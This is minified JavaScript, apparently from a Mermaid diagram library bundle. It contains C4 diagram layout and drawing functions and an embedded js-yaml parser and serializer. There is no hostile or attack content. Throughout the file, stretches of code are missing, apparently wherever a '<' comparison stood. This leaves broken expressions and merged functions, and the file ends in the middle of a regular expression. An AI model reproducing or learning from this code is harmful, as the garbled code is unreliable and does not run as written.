m=g2(Wt,s.typeC4Shape.text);Ll("descr",s,u,m,h),s.descr.Y=i+20,i=s.descr.Y+s.descr.height,p=Math.max(s.label.width,s.descr.width),d=i-s.descr.textLines*5}p=p+Wt.c4ShapePadding,s.width=Math.max(s.width||Wt.width,p,Wt.width),s.height=Math.max(s.height||Wt.height,d,Wt.height),s.margin=s.margin||Wt.c4ShapeMargin,t.insert(s),Al.drawC4Shape(e,s,Wt)}t.bumpLastMargin(Wt.c4ShapeMargin)},"drawC4ShapeArray"),Ms=class{static{o(this,"Point")}constructor(e,r){this.x=e,this.y=r}},kQ=o(function(t,e){let r=t.x,n=t.y,i=e.x,a=e.y,s=r+t.width/2,l=n+t.height/2,u=Math.abs(r-i),h=Math.abs(n-a),f=h/u,d=t.height/t.width,p=null;return n==a&&ri?p=new Ms(r,l):r==i&&na&&(p=new Ms(s,n)),r>i&&n=f?p=new Ms(r,l+f*t.width/2):p=new Ms(s-u/h*t.height/2,n+t.height):r=f?p=new Ms(r+t.width,l+f*t.width/2):p=new Ms(s+u/h*t.height/2,n+t.height):ra?d>=f?p=new Ms(r+t.width,l-f*t.width/2):p=new Ms(s+t.height/2*u/h,n):r>i&&n>a&&(d>=f?p=new Ms(r,l-t.width/2*f):p=new Ms(s-t.height/2*u/h,n)),p},"getIntersectPoint"),L_e=o(function(t,e){let r={x:0,y:0};r.x=e.x+e.width/2,r.y=e.y+e.height/2;let n=kQ(t,r);r.x=t.x+t.width/2,r.y=t.y+t.height/2;let i=kQ(e,r);return{startPoint:n,endPoint:i}},"getIntersectPoints"),R_e=o(function(t,e,r,n){let i=0;for(let a of e){i=i+1;let s=a.wrap&&Wt.wrap,l=D_e(Wt);n.db.getC4Type()==="C4Dynamic"&&(a.label.text=i+": "+a.label.text);let h=Zi(a.label.text,l);Ll("label",a,s,l,h),a.techn&&a.techn.text!==""&&(h=Zi(a.techn.text,l),Ll("techn",a,s,l,h)),a.descr&&a.descr.text!==""&&(h=Zi(a.descr.text,l),Ll("descr",a,s,l,h));let f=r(a.from),d=r(a.to),p=L_e(f,d);a.startPoint=p.startPoint,a.endPoint=p.endPoint}Al.drawRels(t,e,Wt)},"drawRels");o(AQ,"drawInsideBoundary");N_e=o(function(t,e,r,n){Wt=ge().c4;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=n.db;n.db.setWrap(Wt.wrap),EQ=l.getC4ShapeInRow(),WL=l.getC4BoundaryInRow(),X.debug(`C:${JSON.stringify(Wt,null,2)}`);let u=i==="sandbox"?s.select(`[id="${e}"]`):qe(`[id="${e}"]`);Al.insertComputerIcon(u),Al.insertDatabaseIcon(u),Al.insertClockIcon(u);let h=new MT(n);h.setData(Wt.diagramMarginX,Wt.diagramMarginX,Wt.diagramMarginY,Wt.diagramMarginY),h.data.widthLimit=screen.availWidth,RT=Wt.diagramMarginX,NT=Wt.diagramMarginY;let f=n.db.getTitle(),d=n.db.getBoundaries("");AQ(u,"",h,d,n),Al.insertArrowHead(u),Al.insertArrowEnd(u),Al.insertArrowCrossHead(u),Al.insertArrowFilledHead(u),R_e(u,n.db.getRels(),n.db.getC4Shape,n),h.data.stopx=RT,h.data.stopy=NT;let p=h.data,g=p.stopy-p.starty+2*Wt.diagramMarginY,v=p.stopx-p.startx+2*Wt.diagramMarginX;f&&u.append("text").text(f).attr("x",(p.stopx-p.startx)/2-4*Wt.diagramMarginX).attr("y",p.starty+Wt.diagramMarginY),mn(u,g,v,Wt.useMaxWidth);let x=f?60:0;u.attr("viewBox",p.startx-Wt.diagramMarginX+" -"+(Wt.diagramMarginY+x)+" "+v+" "+(g+x)),X.debug("models:",p)},"draw"),XL={drawPersonOrSystemArray:CQ,drawBoundary:SQ,setConf:YL,draw:N_e}});var M_e,DQ,LQ=N(()=>{"use strict";M_e=o(t=>`.person { + stroke: ${t.personBorder}; + fill: ${t.personBkg}; + } +`,"getStyles"),DQ=M_e});var RQ={};dr(RQ,{diagram:()=>I_e});var I_e,NQ=N(()=>{"use strict";RA();GA();_Q();LQ();I_e={parser:nH,db:ov,renderer:XL,styles:DQ,init:o(({c4:t,wrap:e})=>{XL.setConf(t),ov.setWrap(e)},"init")}});function jQ(t){return typeof t>"u"||t===null}function F_e(t){return typeof t=="object"&&t!==null}function $_e(t){return Array.isArray(t)?t:jQ(t)?[]:[t]}function z_e(t,e){var r,n,i,a;if(e)for(a=Object.keys(e),r=0,n=a.length;rl&&(a=" ... ",e=n-l+a.length),r-n>l&&(s=" ...",r=n+l-s.length),{str:a+t.slice(e,r).replace(/\t/g,"\u2192")+s,pos:n-e+a.length}}function KL(t,e){return Pi.repeat(" ",e-t.length)+t}function j_e(t,e){if(e=Object.create(e||null),!t.buffer)return null;e.maxLength||(e.maxLength=79),typeof e.indent!="number"&&(e.indent=1),typeof e.linesBefore!="number"&&(e.linesBefore=3),typeof e.linesAfter!="number"&&(e.linesAfter=2);for(var r=/\r?\n|\r|\0/g,n=[0],i=[],a,s=-1;a=r.exec(t.buffer);)i.push(a.index),n.push(a.index+a[0].length),t.position<=a.index&&s<0&&(s=n.length-2);s<0&&(s=n.length-1);var l="",u,h,f=Math.min(t.line+e.linesAfter,i.length).toString().length,d=e.maxLength-(e.indent+f+3);for(u=1;u<=e.linesBefore&&!(s-u<0);u++)h=jL(t.buffer,n[s-u],i[s-u],t.position-(n[s]-n[s-u]),d),l=Pi.repeat(" ",e.indent)+KL((t.line-u+1).toString(),f)+" | "+h.str+` +`+l;for(h=jL(t.buffer,n[s],i[s],t.position,d),l+=Pi.repeat(" ",e.indent)+KL((t.line+1).toString(),f)+" | "+h.str+` +`,l+=Pi.repeat("-",e.indent+f+3+h.pos)+`^ +`,u=1;u<=e.linesAfter&&!(s+u>=i.length);u++)h=jL(t.buffer,n[s+u],i[s+u],t.position-(n[s]-n[s+u]),d),l+=Pi.repeat(" ",e.indent)+KL((t.line+u+1).toString(),f)+" | "+h.str+` +`;return l.replace(/\n$/,"")}function J_e(t){var e={};return t!==null&&Object.keys(t).forEach(function(r){t[r].forEach(function(n){e[String(n)]=r})}),e}function eDe(t,e){if(e=e||{},Object.keys(e).forEach(function(r){if(Q_e.indexOf(r)===-1)throw new Is('Unknown option "'+r+'" is met in definition of "'+t+'" YAML type.')}),this.options=e,this.tag=t,this.kind=e.kind||null,this.resolve=e.resolve||function(){return!0},this.construct=e.construct||function(r){return r},this.instanceOf=e.instanceOf||null,this.predicate=e.predicate||null,this.represent=e.represent||null,this.representName=e.representName||null,this.defaultStyle=e.defaultStyle||null,this.multi=e.multi||!1,this.styleAliases=J_e(e.styleAliases||null),Z_e.indexOf(this.kind)===-1)throw new Is('Unknown kind "'+this.kind+'" is specified for "'+t+'" YAML type.')}function IQ(t,e){var r=[];return t[e].forEach(function(n){var i=r.length;r.forEach(function(a,s){a.tag===n.tag&&a.kind===n.kind&&a.multi===n.multi&&(i=s)}),r[i]=n}),r}function tDe(){var t={scalar:{},sequence:{},mapping:{},fallback:{},multi:{scalar:[],sequence:[],mapping:[],fallback:[]}},e,r;function n(i){i.multi?(t.multi[i.kind].push(i),t.multi.fallback.push(i)):t[i.kind][i.tag]=t.fallback[i.tag]=i}for(o(n,"collectType"),e=0,r=arguments.length;e=0&&(e=e.slice(1)),e===".inf"?r===1?Number.POSITIVE_INFINITY:Number.NEGATIVE_INFINITY:e===".nan"?NaN:r*parseFloat(e,10)}function CDe(t,e){var r;if(isNaN(t))switch(e){case"lowercase":return".nan";case"uppercase":return".NAN";case"camelcase":return".NaN"}else if(Number.POSITIVE_INFINITY===t)switch(e){case"lowercase":return".inf";case"uppercase":return".INF";case"camelcase":return".Inf"}else if(Number.NEGATIVE_INFINITY===t)switch(e){case"lowercase":return"-.inf";case"uppercase":return"-.INF";case"camelcase":return"-.Inf"}else if(Pi.isNegativeZero(t))return"-0.0";return r=t.toString(10),SDe.test(r)?r.replace("e",".e"):r}function ADe(t){return Object.prototype.toString.call(t)==="[object Number]"&&(t%1!==0||Pi.isNegativeZero(t))}function LDe(t){return t===null?!1:ZQ.exec(t)!==null||JQ.exec(t)!==null}function RDe(t){var e,r,n,i,a,s,l,u=0,h=null,f,d,p;if(e=ZQ.exec(t),e===null&&(e=JQ.exec(t)),e===null)throw new Error("Date resolve error");if(r=+e[1],n=+e[2]-1,i=+e[3],!e[4])return new Date(Date.UTC(r,n,i));if(a=+e[4],s=+e[5],l=+e[6],e[7]){for(u=e[7].slice(0,3);u.length<3;)u+="0";u=+u}return e[9]&&(f=+e[10],d=+(e[11]||0),h=(f*60+d)*6e4,e[9]==="-"&&(h=-h)),p=new Date(Date.UTC(r,n,i,a,s,l,u)),h&&p.setTime(p.getTime()-h),p}function NDe(t){return t.toISOString()}function IDe(t){return t==="<<"||t===null}function PDe(t){if(t===null)return!1;var e,r,n=0,i=t.length,a=n9;for(r=0;r64)){if(e<0)return!1;n+=6}return n%8===0}function BDe(t){var e,r,n=t.replace(/[\r\n=]/g,""),i=n.length,a=n9,s=0,l=[];for(e=0;e>16&255),l.push(s>>8&255),l.push(s&255)),s=s<<6|a.indexOf(n.charAt(e));return r=i%4*6,r===0?(l.push(s>>16&255),l.push(s>>8&255),l.push(s&255)):r===18?(l.push(s>>10&255),l.push(s>>2&255)):r===12&&l.push(s>>4&255),new Uint8Array(l)}function FDe(t){var e="",r=0,n,i,a=t.length,s=n9;for(n=0;n>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]),r=(r<<8)+t[n];return i=a%3,i===0?(e+=s[r>>18&63],e+=s[r>>12&63],e+=s[r>>6&63],e+=s[r&63]):i===2?(e+=s[r>>10&63],e+=s[r>>4&63],e+=s[r<<2&63],e+=s[64]):i===1&&(e+=s[r>>2&63],e+=s[r<<4&63],e+=s[64],e+=s[64]),e}function $De(t){return Object.prototype.toString.call(t)==="[object Uint8Array]"}function UDe(t){if(t===null)return!0;var e=[],r,n,i,a,s,l=t;for(r=0,n=l.length;r>10)+55296,(t-65536&1023)+56320)}function lLe(t,e){this.input=t,this.filename=e.filename||null,this.schema=e.schema||eZ,this.onWarning=e.onWarning||null,this.legacy=e.legacy||!1,this.json=e.json||!1,this.listener=e.listener||null,this.implicitTypes=this.schema.compiledImplicit,this.typeMap=this.schema.compiledTypeMap,this.length=t.length,this.position=0,this.line=0,this.lineStart=0,this.lineIndent=0,this.firstTabInLine=-1,this.documents=[]}function oZ(t,e){var r={name:t.filename,buffer:t.input.slice(0,-1),position:t.position,line:t.line,column:t.position-t.lineStart};return r.snippet=K_e(r),new Is(e,r)}function Zt(t,e){throw oZ(t,e)}function PT(t,e){t.onWarning&&t.onWarning.call(null,oZ(t,e))}function Yh(t,e,r,n){var i,a,s,l;if(e1&&(t.result+=Pi.repeat(` +`,e-1))}function cLe(t,e,r){var n,i,a,s,l,u,h,f,d=t.kind,p=t.result,m;if(m=t.input.charCodeAt(t.position),Os(m)||bm(m)||m===35||m===38||m===42||m===33||m===124||m===62||m===39||m===34||m===37||m===64||m===96||(m===63||m===45)&&(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i)))return!1;for(t.kind="scalar",t.result="",a=s=t.position,l=!1;m!==0;){if(m===58){if(i=t.input.charCodeAt(t.position+1),Os(i)||r&&bm(i))break}else if(m===35){if(n=t.input.charCodeAt(t.position-1),Os(n))break}else{if(t.position===t.lineStart&&$T(t)||r&&bm(m))break;if(bc(m))if(u=t.line,h=t.lineStart,f=t.lineIndent,Ci(t,!1,-1),t.lineIndent>=e){l=!0,m=t.input.charCodeAt(t.position);continue}else{t.position=s,t.line=u,t.lineStart=h,t.lineIndent=f;break}}l&&(Yh(t,a,s,!1),a9(t,t.line-u),a=s=t.position,l=!1),Yd(m)||(s=t.position+1),m=t.input.charCodeAt(++t.position)}return Yh(t,a,s,!1),t.result?!0:(t.kind=d,t.result=p,!1)}function uLe(t,e){var r,n,i;if(r=t.input.charCodeAt(t.position),r!==39)return!1;for(t.kind="scalar",t.result="",t.position++,n=i=t.position;(r=t.input.charCodeAt(t.position))!==0;)if(r===39)if(Yh(t,n,t.position,!0),r=t.input.charCodeAt(++t.position),r===39)n=t.position,t.position++,i=t.position;else return!0;else bc(r)?(Yh(t,n,i,!0),a9(t,Ci(t,!1,e)),n=i=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a single quoted scalar"):(t.position++,i=t.position);Zt(t,"unexpected end of the stream within a single quoted scalar")}function hLe(t,e){var r,n,i,a,s,l;if(l=t.input.charCodeAt(t.position),l!==34)return!1;for(t.kind="scalar",t.result="",t.position++,r=n=t.position;(l=t.input.charCodeAt(t.position))!==0;){if(l===34)return Yh(t,r,t.position,!0),t.position++,!0;if(l===92){if(Yh(t,r,t.position,!0),l=t.input.charCodeAt(++t.position),bc(l))Ci(t,!1,e);else if(l<256&&aZ[l])t.result+=sZ[l],t.position++;else if((s=aLe(l))>0){for(i=s,a=0;i>0;i--)l=t.input.charCodeAt(++t.position),(s=iLe(l))>=0?a=(a<<4)+s:Zt(t,"expected hexadecimal character");t.result+=oLe(a),t.position++}else Zt(t,"unknown escape sequence");r=n=t.position}else bc(l)?(Yh(t,r,n,!0),a9(t,Ci(t,!1,e)),r=n=t.position):t.position===t.lineStart&&$T(t)?Zt(t,"unexpected end of the document within a double quoted scalar"):(t.position++,n=t.position)}Zt(t,"unexpected end of the stream within a double quoted scalar")}function fLe(t,e){var r=!0,n,i,a,s=t.tag,l,u=t.anchor,h,f,d,p,m,g=Object.create(null),y,v,x,b;if(b=t.input.charCodeAt(t.position),b===91)f=93,m=!1,l=[];else if(b===123)f=125,m=!0,l={};else return!1;for(t.anchor!==null&&(t.anchorMap[t.anchor]=l),b=t.input.charCodeAt(++t.position);b!==0;){if(Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===f)return t.position++,t.tag=s,t.anchor=u,t.kind=m?"mapping":"sequence",t.result=l,!0;r?b===44&&Zt(t,"expected the node content, but found ','"):Zt(t,"missed comma between flow collection entries"),v=y=x=null,d=p=!1,b===63&&(h=t.input.charCodeAt(t.position+1),Os(h)&&(d=p=!0,t.position++,Ci(t,!0,e))),n=t.line,i=t.lineStart,a=t.position,wm(t,e,IT,!1,!0),v=t.tag,y=t.result,Ci(t,!0,e),b=t.input.charCodeAt(t.position),(p||t.line===n)&&b===58&&(d=!0,b=t.input.charCodeAt(++t.position),Ci(t,!0,e),wm(t,e,IT,!1,!0),x=t.result),m?Tm(t,l,g,v,y,x,n,i,a):d?l.push(Tm(t,null,g,v,y,x,n,i,a)):l.push(y),Ci(t,!0,e),b=t.input.charCodeAt(t.position),b===44?(r=!0,b=t.input.charCodeAt(++t.position)):r=!1}Zt(t,"unexpected end of the stream within a flow collection")}function dLe(t,e){var r,n,i=QL,a=!1,s=!1,l=e,u=0,h=!1,f,d;if(d=t.input.charCodeAt(t.position),d===124)n=!1;else if(d===62)n=!0;else return!1;for(t.kind="scalar",t.result="";d!==0;)if(d=t.input.charCodeAt(++t.position),d===43||d===45)QL===i?i=d===43?OQ:eLe:Zt(t,"repeat of a chomping mode identifier");else if((f=sLe(d))>=0)f===0?Zt(t,"bad explicit indentation width of a block scalar; it cannot be less than one"):s?Zt(t,"repeat of an indentation width identifier"):(l=e+f-1,s=!0);else break;if(Yd(d)){do d=t.input.charCodeAt(++t.position);while(Yd(d));if(d===35)do d=t.input.charCodeAt(++t.position);while(!bc(d)&&d!==0)}for(;d!==0;){for(i9(t),t.lineIndent=0,d=t.input.charCodeAt(t.position);(!s||t.lineIndentl&&(l=t.lineIndent),bc(d)){u++;continue}if(t.lineIndente)&&u!==0)Zt(t,"bad indentation of a sequence entry");else if(t.lineIndente)&&(v&&(s=t.line,l=t.lineStart,u=t.position),wm(t,e,OT,!0,i)&&(v?g=t.result:y=t.result),v||(Tm(t,d,p,m,g,y,s,l,u),m=g=y=null),Ci(t,!0,-1),b=t.input.charCodeAt(t.position)),(t.line===a||t.lineIndent>e)&&b!==0)Zt(t,"bad indentation of a mapping entry");else if(t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndente?u=1:t.lineIndent===e?u=0:t.lineIndent tag; it should be "scalar", not "'+t.kind+'"'),d=0,p=t.implicitTypes.length;d"),t.result!==null&&g.kind!==t.kind&&Zt(t,"unacceptable node kind for !<"+t.tag+'> tag; it should be "'+g.kind+'", not "'+t.kind+'"'),g.resolve(t.result,t.tag)?(t.result=g.construct(t.result,t.tag),t.anchor!==null&&(t.anchorMap[t.anchor]=t.result)):Zt(t,"cannot resolve a node with !<"+t.tag+"> explicit tag")}return t.listener!==null&&t.listener("close",t),t.tag!==null||t.anchor!==null||f}function vLe(t){var e=t.position,r,n,i,a=!1,s;for(t.version=null,t.checkLineBreaks=t.legacy,t.tagMap=Object.create(null),t.anchorMap=Object.create(null);(s=t.input.charCodeAt(t.position))!==0&&(Ci(t,!0,-1),s=t.input.charCodeAt(t.position),!(t.lineIndent>0||s!==37));){for(a=!0,s=t.input.charCodeAt(++t.position),r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);for(n=t.input.slice(r,t.position),i=[],n.length<1&&Zt(t,"directive name must not be less than one character in length");s!==0;){for(;Yd(s);)s=t.input.charCodeAt(++t.position);if(s===35){do s=t.input.charCodeAt(++t.position);while(s!==0&&!bc(s));break}if(bc(s))break;for(r=t.position;s!==0&&!Os(s);)s=t.input.charCodeAt(++t.position);i.push(t.input.slice(r,t.position))}s!==0&&i9(t),Xh.call(FQ,n)?FQ[n](t,n,i):PT(t,'unknown document directive "'+n+'"')}if(Ci(t,!0,-1),t.lineIndent===0&&t.input.charCodeAt(t.position)===45&&t.input.charCodeAt(t.position+1)===45&&t.input.charCodeAt(t.position+2)===45?(t.position+=3,Ci(t,!0,-1)):a&&Zt(t,"directives end mark is expected"),wm(t,t.lineIndent-1,OT,!1,!0),Ci(t,!0,-1),t.checkLineBreaks&&rLe.test(t.input.slice(e,t.position))&&PT(t,"non-ASCII line breaks are interpreted as content"),t.documents.push(t.result),t.position===t.lineStart&&$T(t)){t.input.charCodeAt(t.position)===46&&(t.position+=3,Ci(t,!0,-1));return}if(t.position"u"&&(r=e,e=null);var n=lZ(t,r);if(typeof e!="function")return n;for(var i=0,a=n.length;i=55296&&r<=56319&&e+1=56320&&n<=57343)?(r-55296)*1024+n-56320+65536:r}function yZ(t){var e=/^\n* /;return e.test(t)}function XLe(t,e,r,n,i,a,s,l){var u,h=0,f=null,d=!1,p=!1,m=n!==-1,g=-1,y=WLe(y2(t,0))&&YLe(y2(t,t.length-1));if(e||s)for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),!T2(h))return xm;y=y&&UQ(h,f,l),f=h}else{for(u=0;u=65536?u+=2:u++){if(h=y2(t,u),h===x2)d=!0,m&&(p=p||u-g-1>n&&t[g+1]!==" ",g=u);else if(!T2(h))return xm;y=y&&UQ(h,f,l),f=h}p=p||m&&u-g-1>n&&t[g+1]!==" "}return!d&&!p?y&&!s&&!i(t)?vZ:a===b2?xm:t9:r>9&&yZ(t)?xm:s?a===b2?xm:t9:p?bZ:xZ}function jLe(t,e,r,n,i){t.dump=(function(){if(e.length===0)return t.quotingType===b2?'""':"''";if(!t.noCompatMode&&($Le.indexOf(e)!==-1||zLe.test(e)))return t.quotingType===b2?'"'+e+'"':"'"+e+"'";var a=t.indent*Math.max(1,r),s=t.lineWidth===-1?-1:Math.max(Math.min(t.lineWidth,40),t.lineWidth-a),l=n||t.flowLevel>-1&&r>=t.flowLevel;function u(h){return qLe(t,h)}switch(o(u,"testAmbiguity"),XLe(e,l,t.indent,s,u,t.quotingType,t.forceQuotes&&!n,i)){case vZ:return e;case t9:return"'"+e.replace(/'/g,"''")+"'";case xZ:return"|"+HQ(e,t.indent)+qQ(GQ(e,a));case bZ:return">"+HQ(e,t.indent)+qQ(GQ(KLe(e,s),a));case xm:return'"'+QLe(e)+'"';default:throw new Is("impossible error: invalid scalar style")}})()}function HQ(t,e){var r=yZ(t)?String(e):"",n=t[t.length-1]===` +`,i=n&&(t[t.length-2]===` +`||t===` +`),a=i?"+":n?"":"-";return r+a+` +`}function qQ(t){return t[t.length-1]===` +`?t.slice(0,-1):t}function KLe(t,e){for(var r=/(\n+)([^\n]*)/g,n=(function(){var h=t.indexOf(` +`);return h=h!==-1?h:t.length,r.lastIndex=h,WQ(t.slice(0,h),e)})(),i=t[0]===` +`||t[0]===" ",a,s;s=r.exec(t);){var l=s[1],u=s[2];a=u[0]===" ",n+=l+(!i&&!a&&u!==""?` +`:"")+WQ(u,e),i=a}return n}function WQ(t,e){if(t===""||t[0]===" ")return t;for(var r=/ [^ ]/g,n,i=0,a,s=0,l=0,u="";n=r.exec(t);)l=n.index,l-i>e&&(a=s>i?s:l,u+=` +`+t.slice(i,a),i=a+1),s=l;return u+=` +`,t.length-i>e&&s>i?u+=t.slice(i,s)+` +`+t.slice(s+1):u+=t.slice(i),u.slice(1)}function QLe(t){for(var e="",r=0,n,i=0;i=65536?i+=2:i++)r=y2(t,i),n=Ia[r],!n&&T2(r)?(e+=t[i],r>=65536&&(e+=t[i+1])):e+=n||VLe(r);return e}function ZLe(t,e,r){var n="",i=t.tag,a,s,l;for(a=0,s=r.length;a"u"&&Nu(t,e,null,!1,!1))&&(n!==""&&(n+=","+(t.condenseFlow?"":" ")),n+=t.dump);t.tag=i,t.dump="["+n+"]"}function YQ(t,e,r,n){var i="",a=t.tag,s,l,u;for(s=0,l=r.length;s"u"&&Nu(t,e+1,null,!0,!0,!1,!0))&&((!n||i!=="")&&(i+=e9(t,e)),t.dump&&x2===t.dump.charCodeAt(0)?i+="-":i+="- ",i+=t.dump);t.tag=a,t.dump=i||"[]"}function JLe(t,e,r){var n="",i=t.tag,a=Object.keys(r),s,l,u,h,f;for(s=0,l=a.length;s1024&&(f+="? "),f+=t.dump+(t.condenseFlow?'"':"")+":"+(t.condenseFlow?"":" "),Nu(t,e,h,!1,!1)&&(f+=t.dump,n+=f));t.tag=i,t.dump="{"+n+"}"}function e9e(t,e,r,n){var i="",a=t.tag,s=Object.keys(r),l,u,h,f,d,p;if(t.sortKeys===!0)s.sort();else if(typeof t.sortKeys=="function")s.sort(t.sortKeys);else if(t.sortKeys)throw new Is("sortKeys must be a boolean or a function");for(l=0,u=s.length;l1024,d&&(t.dump&&x2===t.dump.charCodeAt(0)?p+="?":p+="? "),p+=t.dump,d&&(p+=e9(t,e)),Nu(t,e+1,f,!0,d)&&(t.dump&&x2===t.dump.charCodeAt(0)?p+=":":p+=": ",p+=t.dump,i+=p));t.tag=a,t.dump=i||"{}"}function XQ(t,e,r){var n,i,a,s,l,u;for(i=r?t.explicitTypes:t.implicitTypes,a=0,s=i.length;a tag resolver accepts not "'+u+'" style');t.dump=n}return!0}return!1}function Nu(t,e,r,n,i,a,s){t.tag=null,t.dump=r,XQ(t,r,!1)||XQ(t,r,!0);var l=uZ.call(t.dump),u=n,h;n&&(n=t.flowLevel<0||t.flowLevel>e);var f=l==="[object Object]"||l==="[object Array]",d,p;if(f&&(d=t.duplicates.indexOf(r),p=d!==-1),(t.tag!==null&&t.tag!=="?"||p||t.indent!==2&&e>0)&&(i=!1),p&&t.usedDuplicates[d])t.dump="*ref_"+d;else{if(f&&p&&!t.usedDuplicates[d]&&(t.usedDuplicates[d]=!0),l==="[object Object]")n&&Object.keys(t.dump).length!==0?(e9e(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(JLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object Array]")n&&t.dump.length!==0?(t.noArrayIndent&&!s&&e>0?YQ(t,e-1,t.dump,i):YQ(t,e,t.dump,i),p&&(t.dump="&ref_"+d+t.dump)):(ZLe(t,e,t.dump),p&&(t.dump="&ref_"+d+" "+t.dump));else if(l==="[object String]")t.tag!=="?"&&jLe(t,t.dump,e,a,u);else{if(l==="[object Undefined]")return!1;if(t.skipInvalid)return!1;throw new Is("unacceptable kind of an object to dump "+l)}t.tag!==null&&t.tag!=="?"&&(h=encodeURI(t.tag[0]==="!"?t.tag.slice(1):t.tag).replace(/!/g,"%21"),t.tag[0]==="!"?h="!"+h:h.slice(0,18)==="tag:yaml.org,2002:"?h="!!"+h.slice(18):h="!<"+h+">",t.dump=h+" "+t.dump)}return!0}function t9e(t,e){var r=[],n=[],i,a;for(r9(t,r,n),i=0,a=n.length;i{"use strict";o(jQ,"isNothing");o(F_e,"isObject");o($_e,"toArray");o(z_e,"extend");o(G_e,"repeat");o(V_e,"isNegativeZero");U_e=jQ,H_e=F_e,q_e=$_e,W_e=G_e,Y_e=V_e,X_e=z_e,Pi={isNothing:U_e,isObject:H_e,toArray:q_e,repeat:W_e,isNegativeZero:Y_e,extend:X_e};o(KQ,"formatError");o(v2,"YAMLException$1");v2.prototype=Object.create(Error.prototype);v2.prototype.constructor=v2;v2.prototype.toString=o(function(e){return this.name+": "+KQ(this,e)},"toString");Is=v2;o(jL,"getLine");o(KL,"padStart");o(j_e,"makeSnippet");K_e=j_e,Q_e=["kind","multi","resolve","construct","instanceOf","predicate","represent","representName","defaultStyle","styleAliases"],Z_e=["scalar","sequence","mapping"];o(J_e,"compileStyleAliases");o(eDe,"Type$1");Ma=eDe;o(IQ,"compileList");o(tDe,"compileMap");o(ZL,"Schema$1");ZL.prototype.extend=o(function(e){var r=[],n=[];if(e instanceof Ma)n.push(e);else if(Array.isArray(e))n=n.concat(e);else if(e&&(Array.isArray(e.implicit)||Array.isArray(e.explicit)))e.implicit&&(r=r.concat(e.implicit)),e.explicit&&(n=n.concat(e.explicit));else throw new Is("Schema.extend argument should be a Type, [ Type ], or a schema definition ({ implicit: [...], explicit: [...] })");r.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.");if(a.loadKind&&a.loadKind!=="scalar")throw new Is("There is a non-scalar type in the implicit list of a schema. Implicit resolving of such types is not supported.");if(a.multi)throw new Is("There is a multi type in the implicit list of a schema. Multi tags can only be listed as explicit.")}),n.forEach(function(a){if(!(a instanceof Ma))throw new Is("Specified list of YAML types (or a single Type object) contains a non-Type object.")});var i=Object.create(ZL.prototype);return i.implicit=(this.implicit||[]).concat(r),i.explicit=(this.explicit||[]).concat(n),i.compiledImplicit=IQ(i,"implicit"),i.compiledExplicit=IQ(i,"explicit"),i.compiledTypeMap=tDe(i.compiledImplicit,i.compiledExplicit),i},"extend");rDe=ZL,nDe=new Ma("tag:yaml.org,2002:str",{kind:"scalar",construct:o(function(t){return t!==null?t:""},"construct")}),iDe=new Ma("tag:yaml.org,2002:seq",{kind:"sequence",construct:o(function(t){return t!==null?t:[]},"construct")}),aDe=new Ma("tag:yaml.org,2002:map",{kind:"mapping",construct:o(function(t){return t!==null?t:{}},"construct")}),sDe=new rDe({explicit:[nDe,iDe,aDe]});o(oDe,"resolveYamlNull");o(lDe,"constructYamlNull");o(cDe,"isNull");uDe=new Ma("tag:yaml.org,2002:null",{kind:"scalar",resolve:oDe,construct:lDe,predicate:cDe,represent:{canonical:o(function(){return"~"},"canonical"),lowercase:o(function(){return"null"},"lowercase"),uppercase:o(function(){return"NULL"},"uppercase"),camelcase:o(function(){return"Null"},"camelcase"),empty:o(function(){return""},"empty")},defaultStyle:"lowercase"});o(hDe,"resolveYamlBoolean");o(fDe,"constructYamlBoolean");o(dDe,"isBoolean");pDe=new Ma("tag:yaml.org,2002:bool",{kind:"scalar",resolve:hDe,construct:fDe,predicate:dDe,represent:{lowercase:o(function(t){return t?"true":"false"},"lowercase"),uppercase:o(function(t){return t?"TRUE":"FALSE"},"uppercase"),camelcase:o(function(t){return t?"True":"False"},"camelcase")},defaultStyle:"lowercase"});o(mDe,"isHexCode");o(gDe,"isOctCode");o(yDe,"isDecCode");o(vDe,"resolveYamlInteger");o(xDe,"constructYamlInteger");o(bDe,"isInteger");TDe=new Ma("tag:yaml.org,2002:int",{kind:"scalar",resolve:vDe,construct:xDe,predicate:bDe,represent:{binary:o(function(t){return t>=0?"0b"+t.toString(2):"-0b"+t.toString(2).slice(1)},"binary"),octal:o(function(t){return t>=0?"0o"+t.toString(8):"-0o"+t.toString(8).slice(1)},"octal"),decimal:o(function(t){return t.toString(10)},"decimal"),hexadecimal:o(function(t){return t>=0?"0x"+t.toString(16).toUpperCase():"-0x"+t.toString(16).toUpperCase().slice(1)},"hexadecimal")},defaultStyle:"decimal",styleAliases:{binary:[2,"bin"],octal:[8,"oct"],decimal:[10,"dec"],hexadecimal:[16,"hex"]}}),wDe=new RegExp("^(?:[-+]?(?:[0-9][0-9_]*)(?:\\.[0-9_]*)?(?:[eE][-+]?[0-9]+)?|\\.[0-9_]+(?:[eE][-+]?[0-9]+)?|[-+]?\\.(?:inf|Inf|INF)|\\.(?:nan|NaN|NAN))$");o(kDe,"resolveYamlFloat");o(EDe,"constructYamlFloat");SDe=/^[-+]?[0-9]+e/;o(CDe,"representYamlFloat");o(ADe,"isFloat");_De=new Ma("tag:yaml.org,2002:float",{kind:"scalar",resolve:kDe,construct:EDe,predicate:ADe,represent:CDe,defaultStyle:"lowercase"}),QQ=sDe.extend({implicit:[uDe,pDe,TDe,_De]}),DDe=QQ,ZQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9])-([0-9][0-9])$"),JQ=new RegExp("^([0-9][0-9][0-9][0-9])-([0-9][0-9]?)-([0-9][0-9]?)(?:[Tt]|[ \\t]+)([0-9][0-9]?):([0-9][0-9]):([0-9][0-9])(?:\\.([0-9]*))?(?:[ 